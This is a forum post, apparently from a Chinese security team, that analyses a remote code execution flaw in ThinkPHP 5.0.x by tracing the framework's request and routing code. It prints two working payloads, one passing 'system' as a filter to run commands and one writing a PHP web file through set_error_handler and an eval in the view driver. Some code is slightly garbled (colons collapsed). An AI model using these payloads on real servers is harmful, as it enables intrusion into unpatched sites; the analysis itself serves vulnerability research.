用户
搜索
  • TA的每日心情
    开心
    2021-3-14 00:31
  • 签到天数: 5 天

    连续签到: 1 天

    [LV.2]偶尔看看

    安全团队

    渣男

    Rank: 7Rank: 7Rank: 7

    21

    主题

    38

    帖子

    312

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2016-5-28

    安全团队

    发表于 2021-6-26 15:53:53 01409
    Thinkphp5.0.0-5.0.18RCE分析1.本文一共1732个字 26张图 预计阅读时间15分钟
    2.本文作者Panacea 属于Gcow安全团队复眼小组 未经过许可禁止转载
    3.本篇文章主要分析了Thinkphp5.0.0-5.0.18RCE情况
    4.本篇文章十分适合漏洞安全研究人员进行交流学习
    5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽0x00.前言
    本篇文章基于thinkphp5.*框架,分析两种payload的构成以及执行流程
    准备
    Windows+phpstudy
    tp版本:thinkphp_5.0.5_full
    php版本:5.4.45
    phpstorm+xdebug
    0x01.Payload1开始分析
    漏洞代码位于:thinkphp/library/think/Request.php
    首先放上payload:
    s=whoami&_method=__construct&method=post&filter[]=system
    method方法主要用来判断请求方式,首先分析一下这段代码的逻辑:通过$_SERVER和server方法获取请求类型,如果不存在method变量值,那么就用表单请求类型伪装变量覆盖method的值,那么就可以利用这点调用其他函数,预定义里面method为false,那么就会直接走下一步的是否存在表单覆盖变量
    从get方法中获取var_method的值,值为_method
    在config.php已经有默认值,但我们构造的payload里面传值_method=__construct就是变量覆盖,因此下一步会走到__construct方法
        // 表单请求类型伪装变量
        'var_method'             => '_method',
    继续往下跟代码,来到__construct构造方法,将数组option进行遍历操作,如果option的键名为该属性的话,则将该同名的属性赋值给\$option的键值,如果filter为空的空,就调用默认的default_filter值
    filter方法:
        public function filter($filter = null)
        {
            if (is_null($filter)) {
                return $this->filter;
            } else {
                $this->filter = $filter;
            }
        }
    而默认的过滤方法为空
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'         => '',
    在构造函数里面走完filter之后会走input方法,继续跟进
    继续往下跟,这里的method已经为post方法,所以进入param方法里的post是直接break的
    下一步进入filtervalue方法中,可以看到我们要传入的值已经全部传进了,call_user_func()函数将我们传入的\$filter=system作为回调函数调用,也就达到了RCE的目的
    0x02.Payload2前提
    该利用的重点在于在一定条件下可以使用::来调用非静态方法
    首先我们需要了解静态属性和静态方法是如何调用的,静态属性一般使用self::进行调用,但是在该篇博客上面使用了::的骚操作,用::调用非静态方法
    <?php
    class People{
        static public $name = "pana";
        public $height = 170;

        static public function output(){
            //静态方法调用静态属性使用self
            print self:name."<br>";
            //静态方法调用非静态属性(普通方法)需要先实例化对象
            $t = new People() ;
            print $t -> height."<br>";

        }

        public function say(){
            //普通方法调用静态属性使用self
            print self:name."<br>";
            //普通方法调用普通属性使用$this
            print $this -> height."<br>";
        }
    }
    $pa = new People();
    $pa -> output();
    $pa -> say();
    //可以使用::调用普通方法
    $pan = People::say();
    可以看到最后的输出,仍然输出了name的值,但是却没有输出height的值
    原因在于:php里面使用双冒号调用方法或者属性时候有两种情况:
    直接使用::调用静态方法或者属性
    ::调用普通方法时,需要该方法内部没有调用非静态的方法或者变量,也就是没有使用$this,这也就是为什么输出了name的值而没有输出height
    了解上面这些,我们就可以开始下面的分析
    0x03.分析
    先放上流程图(本人比较菜鸡  所以只能用这种方法记录下来流程)
    首先放上payload
    path=<?php file_put_contents('ccc.php','<?php phpinfo();?>'); ?>&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=\think\view\driver\Php:isplay&method=GETpayload的分析
    使用file_put_contents()写入,使用变量覆盖将_method的值设置为_construct,这里的set_error_handler是设置用户自定义的错误处理程序,能够绕过标准的php错误处理程序,接下来就是调用\think\view\driver\Php下面的Display方法,因为我们要利用里面的
    eval('?>' . $content);
    完成RCE的目的
    虽然会报错,但是不影响写入
    首先从App.php开始,在routeCheck方法处打断点
    public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;
        // 路由检测
        $check = !is_null(self:routeCheck) ? self:routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            if (is_file(RUNTIME_PATH . 'route.php')) {
                // 读取路由缓存
                $rules = include RUNTIME_PATH . 'route.php';
                if (is_array($rules)) {
                    Route::rules($rules);
                }
            } else {
                $files = $config['route_config_file'];
                foreach ($files as $file) {
                    if (is_file(CONF_PATH . $file . CONF_EXT)) {
                        // 导入路由配置
                        $rules = include CONF_PATH . $file . CONF_EXT;
                        if (is_array($rules)) {
                            Route::import($rules);
                        }
                    }
                }
            }
    这一步主要是获取$path的值,也就是我们要走的路由captcha
    继续往下走,$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);,跟进check方法,这里面的重点就是获取method的值,$request->method()
    这里是调用var_method,因为我们传入了_method=__construct,也就是变量覆盖,这些步骤和上面的几乎一样
    那下一步继续跟进__construct,走完construct函数后,可以看到大部分的值都是我们希望传进去的,这时method的值为GET,也就是为什么payload里面要传GET的原因
    下一步要获取当前请求类型的路由规则
    $rules = self:rules[$method];
    可以看到这里的rule和route的值都发生了改变,路由值为\think\captcha\CaptchaController@index
    接下来跟进routeCheck()方法,走完这个方法后,返回result值
    接下来进入dispatch方法
    接下来进入param方法,合并请求参数和url地址栏的参数
    $this->param = array_merge($this->get(false), $vars, $this->route(false));
    然后进入get方法,继续跟进input方法
    然后就会回到filterValue方法执行任意方法
    0x04.参考文章:
    Gcow安全团队/APT捕获分析/样本分析/渗透测试/代码审计/官网:www.gcowsec.com/公众号:Gcow安全团队
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册